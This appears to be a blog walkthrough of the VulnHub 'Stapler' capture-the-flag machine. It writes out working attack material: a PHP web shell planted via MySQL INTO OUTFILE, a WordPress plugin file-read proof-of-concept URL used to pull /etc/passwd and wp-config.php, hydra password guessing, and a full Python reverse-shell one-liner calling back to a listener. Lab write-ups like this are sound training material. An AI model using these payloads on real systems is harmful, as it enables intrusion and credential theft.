Walkthru
===
- https://github.com/Hamza-Megahed/CTFs/blob/master/stapler/README
- https://www.vulnhub.com/entry/stapler-1,150/...long list of walkthru
===
1.
Shows many ports open
a.
Tcp : ftp, http, ssh, domain, netbios-ssn, doom,
mysql, 12380. etc
b.
Udp : tftp, dns. Etc
2.
Surfing to the website at port 80 didn’t show
much. Not dirb or nikto
3.
Tried to upload a file using tftp and accesses
it via http://ip/newlyuploadedfile.php
without any problem so creating a php reverse shell file and accessed it via
http which gave shell access under www.
4.
Wget linuxprivchecker. Found shares and was able
to connect to them using smbclient w/o pwd
5.
Looked around and see many user folder under
/home.
6.
Spawn a TTY shell using [python -c 'import pty; pty.spawn("/bin/sh")'] which allowed us to
use more command. use ls -laR | more to see the content of all the
folders.
7.
Found “.sudo_as_admin_successful”
under peter which was a hint but nothing in history file. The history file
under JKanode folder actually had the pwd of peter. Use that pwd of peter and
sudo su, use command [id] to check user access and switch as root and change
the root pwd
$ find . -name ‘.bash_history’ -exec cat {} \;
Will search dir and subdirectories and print all bash
history files
8.
There’s
something running on 12380 so on a hunch I check that in the browser too. NMAP
detail scan identifies it as HTTP Apache with httpd 2.4.18 and running Nikto on
that port reveal new WordPress site. Shows robot.txt . found /blogblog/ site. Tried
SQL injection which didn’t work. Looked in the blog and found plugins were
installed recently. Looked father in searchsploit and advance video plugin
vulnerability.
a.
# POC
- http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=[FILEPATH]
10.
Changed the IP address, added port and the
blogblog name. Also added /etc/passwd instead of FILEPATH
a.
b.
When tried to access the URL , it would create a
new blog with a pic. Looked at the source page of the blog and downloaded the
pic using wget (use –no-check-certificate parameter to disable the https cert
warning) and cat thru it and got output from doing cat /etc/shadow. Now you have users. $cat 123.jpeg | grep /bin/bash |
cut -d “:” -f1 (delimiter is : and show 1st field which are usernames)
11.
Now we have usrslist . need pwd. Use the https link
above, lets try to access wp-config.php file. Replace /etc/passwd with the
wp-config.php. Similarly it will generate a jpeg and you can download it using wget
and cat to see content. Here you will see db user/pwd. Tried hydra with the
userlist from previous jpeg and pwd from new jpeg and got in using zoe user.
Login with zoe and look into other userhome folders and found sudo_as_admin_successful
file under peter and peter pwd underJKanodes.
12.
Searchsploit told us that there is an exploit
for wordpress advance video but when I edited the link and ran it, it gave me a
cert mismatch warning [SSL: CERTIFICATE_VERIFY_FAILED]. So modified the exploit
script. When you ran the script, no output is shown but blog is created.
13.
After the file is download, you will have db
user/pwd. You will be logging into db and create webshell.
a.
mysql> select
"<?php passthru($_GET['cmd']); ?>" into outfile
'/var/www/https/blogblog/wp-content/uploads/sh.php';
Query OK, 1
row affected (0.03 sec)
b.
curl -k -s https://$ip:12380/blogblog/wp-content/uploads/sh.php?c=uname+-a
or use browser but nothing comes back..On another side it is cmd and c…none of
the meterpreter stuff is working with c.
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18
18:34:49 UTC 2016 i686 i686 i686 GNU/Linux
c.
create meterpreter and
start multi handler
d.
use the webshell to
download and execute the meterpreter
e.
once access to the
machine, look around in all the user folders
14.
you can
inject php shell here
$ mysql> Select "<?php echo
shell_exec($_GET['cmd']);?>" into outfile
"/var/www/https/blogblog/wp-content/uploads/shell.php";
15.
then you can use it
which will show output on the browser
16.
now on kali machine
$ nc -lvp 80
17.
and from the php shell append to the URL. If you have the NC running, this will get you
sheell
?cmd=python%20-c%20'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.190.1",80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Comments
Post a Comment